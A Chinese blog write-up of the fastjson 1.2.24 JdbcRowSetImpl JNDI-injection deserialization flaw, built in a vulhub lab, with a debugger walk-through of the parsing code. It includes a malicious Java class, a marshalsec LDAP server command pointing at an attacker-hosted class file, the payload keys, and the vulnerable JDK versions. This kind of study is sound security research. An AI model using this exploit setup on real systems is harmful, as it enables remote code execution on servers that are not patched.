fastjson漏洞-JdbcRowSetImpl链


fastjson漏洞-JdbcRowSetImpl链(一)

fastjson概述

fastjson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。

https://github.com/alibaba/fastjson/wiki/Quick-Start-CN

使用方法

在maven的pom.xml配置文件中加入依赖

1
2
3
4
5
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>x.x.x</version>
</dependency>

涉及函数

JSON.toJSONString(Object) : 将对象序列化成json格式

JSON.toJSONString(Object,SerializerFeature.WriteClassName) :将对象序列化成json格式,并且记录了对象所属的类的信息

JSON.parse(Json) : 将json格式返回为对象(但是反序列化类对象没有@Type时会报错)

JSON.parseObject(Json): 返回对象是com.alibaba.fastjson.JSONObject

JSON.parseObject(Json, Object.class) : 返回对象会根据json中的@Type来决定

JSON.parseObject(Json, User.class, Feature.SupportNonPublicField): 会把Json数据对应的类中的私有成员也给还原

在序列化时,FastJson会调用成员对应的get方法,被private修饰且没有get方法的成员不会被序列化,而反序列化的时候在,会调用了指定类的全部的setter,publibc修饰的成员全部赋值。

直接调用

1
2
String text = JSON.toJSONString(obj); //序列化
VO vo = JSON.parseObject("{...}", VO.class); //反序列化

漏洞复现

漏洞环境

复现过程与vulhub中的描述大致误差,可注意几点

使用vulhub中的fastjson1.2.24作为使用环境

靶机中开启后可在浏览器访问到

img

攻击环境

攻击环境需目标能访问到机器上

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/success"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}

将上述测试用的代码编译为class文件并将存在该class文件的文件开放http服务

img

然后使用mashalsec(建议编译此工具的JDK版本与目标JDK版本保持一致)开启RMI或者LADP服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.65.130:8000/#TouchFile 9999

img

RMI利用的JDK版本≤ JDK 6u132、7u122、8u113

LADP利用JDK版本≤ 6u211 、7u201、8u191

在java高于于7u21、6u45版本的jdk中官方将将 java.rmi.server.useCodebaseOnly 的默认值由 false 改为了 true,,Java虚拟机将只信任预先配置好的codebase ,不再支持从RMI请求中获取导致无法借助rmi服务来利用fastjson的这个洞

然后构造poc发送恶意请求触发漏洞

img

在docker中验证是否执行了恶意类中的touch /tmp/success指令

img

至此复现完成

漏洞分析

JSON数据解析过程

首先引入依赖,此处选用fastjson1.2.24也是最早出现反序列化漏洞的版本

img

从网上对漏洞的描述来看JSONObject.parseObject就是漏洞的产生点,因此这里直接对parseObject方法进行分析。

img

在JSONObject.parseObject前断点开始debug并步入parseObject

img

步入parse方法

img

可以看到这里创建了DefaultJSONParser的对象

img

跟入这个类我们可以看到调用了这个构造方法和传入构造方法的值

img

img

img

JSONScanner的注释如下

img

在反序列化的利用中没有涉及到这个类因此简单跳过

执行完后会跳转至173行的DefaultJSONParser

img

执行完DefaultJSONParser的构造方法后会调用该类的parse方法

img

跟入

img

img

img

LBRACE预定义的值是12,因为token是12 进入LBRACE分支创建JSONObjec对象并将lexer.isEnabled作为参数传入(无用),然后执行parseObject

img

img

这里scanSymbol会扫描传入的json数据并获取到第一个数据@type

img

img

走到这里时会判断key的值是否是DEFAULT_TYPE_KEY,而在预定义中DEFAULT_TYPE_KEY的值就是@type,判断为真后开始执行后续的操作

img

获取到@type对应的值后执行loadClass方法将传入的参数加载为一个类

img

完成一些对类名格式的校正后返回com.sum.rowset.JdbcRowSetImpl这个类

img

完成一些相关解析后通过getDeserializer()序列化和deserializer.deserialze反序列化

JdbcRowSetImpl链

反序列化利用链

fastjson常用的利用链有三条,上述复现过程中利用的是jndi注入的JdbcRowSetImpl链。除了JdbcRowSetImpl链外还有TemplateImpl链和BasicDataSource,TemplateImpl是CC链中的第二条但需要目标环境设置Feature.SupportNonPublicField不太适用。BasicDataSource链常用于不出网环境。

JNDI注入

这里简单了解一下JNDI注入,后续深入分析。JNDI注入就是将恶意的Reference类绑定在RMI注册表中,其中恶意引用指向远程恶意的class文件,当用户在JNDI客户端的lookup()函数参数外部可控或Reference类构造方法的classFactoryLocation参数外部可控时,会使用户的JNDI客户端访问RMI注册表中绑定的恶意Reference类,从而加载远程服务器上的恶意class文件在客户端本地执行,最终实现JNDI注入攻击导致远程代码执行。

攻击流程:

  • 首先是这个lookup(URI)参数可控
  • 攻击者控制URI参数为指定为恶意的一个RMI服务
  • 攻击者RMI服务器向目标返回一个Reference对象,Reference对象中指定某个精心构造的Factory类;
  • 目标在进行lookup()操作时,会动态加载并实例化Factory类,接着调用factory.getObjectInstance()获取外部远程对象实例;
  • 攻击者可以在Factory类文件的静态代码块处写入恶意代码,达到RCE的效果;

利用链构造分析

在fastjson的payload中有两个重要的参数dataSourceName和autoCommit

img

利用链所需要达到的效果就是经过一系列的调用最终能执行lookup()并且传入了我们指定的URL

img

JdbcRowSetImpl这里的Connect方法中调用lookup方法,只要让lookup中的参数getDataSourceName为我们所控制的远程调用的方法则满足jndi注入的条件

img

可以在注释中看到getDatasourceName的值是由setDataSourceName设置的,经典的get、set方法

img

set方法如上所示

利用链到只剩下最后一个问题,怎么调用到Connect方法执行lookup函数

img

在JdbcRowSetImpl中有三个函数会调用到connect方法,但因为另外两个函数不好利用因此只讨论autoCommit方法,autoCommit方法调用到connect方法的过程如上图所示

总结

fastjson的利用过程大致如下

JSONObject.parseObject(payload)加载传入的json

DefaultJSONParser处理传入的json,将@type后的com.sun.rowset.JdbcRowSetImpl使用类加载器加载成类

getDeserializer()和deserializer.deserialze()执行序列化和反序列化操作

反序列化操作时会调用dataSourceName和autoCommit两个属性的set方法

pyalod中”ldap://ip:port/exp”这个远程开发服务作为setdataSourceName函数的属性传入

setautoCommit(true)方法会调用connect()从而调用lookup(getdataSourceName())方法,从而达到jndi注入的效果

参考链接:

https://blog.csdn.net/qq_36869808/article/details/121541929?spm=1001.2014.3001.5501

https://www.cnblogs.com/sijidou/p/13121332.html

https://jishuin.proginn.com/p/763bfbd63f5d

https://www.cnblogs.com/nice0e3/p/14776043.html

https://blog.csdn.net/u011479200/article/details/108246846

https://www.cnblogs.com/nice0e3/p/14776043.html#jdni注入细节


文章作者: jokerscar
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 jokerscar !
  目录